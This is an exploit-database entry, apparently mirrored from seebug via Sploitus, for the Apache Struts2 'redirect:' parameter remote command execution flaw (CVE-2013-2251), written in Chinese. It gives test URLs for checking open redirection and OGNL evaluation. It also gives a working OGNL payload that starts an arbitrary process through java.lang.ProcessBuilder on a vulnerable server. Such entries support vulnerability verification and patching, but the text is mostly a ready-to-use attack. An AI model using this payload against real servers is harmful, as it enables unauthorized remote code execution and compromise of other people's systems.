Sploitus

Exploit for Apache Struts2 多个前缀参数远程命令执行漏洞

CVE-2013-2251

seebug · 2013-07-17

Exploit Code

MARKDOWN11 lines
## https://sploitus.com/exploit?id=SSV:60906
由于Apache Struts2 在最新修补版本2.3.15.1中已经禁用了重定向参数，因此只要重定向功能仍然有效，则说明受此漏洞影响：

http://host/struts2-showcase/employee/save.action?redirect:http://www.yahoo.com/

如果页面重定向到www.yahoo.com，则表明当前系统受此漏洞影响。

验证表达式解析和命令执行：

http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}
http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}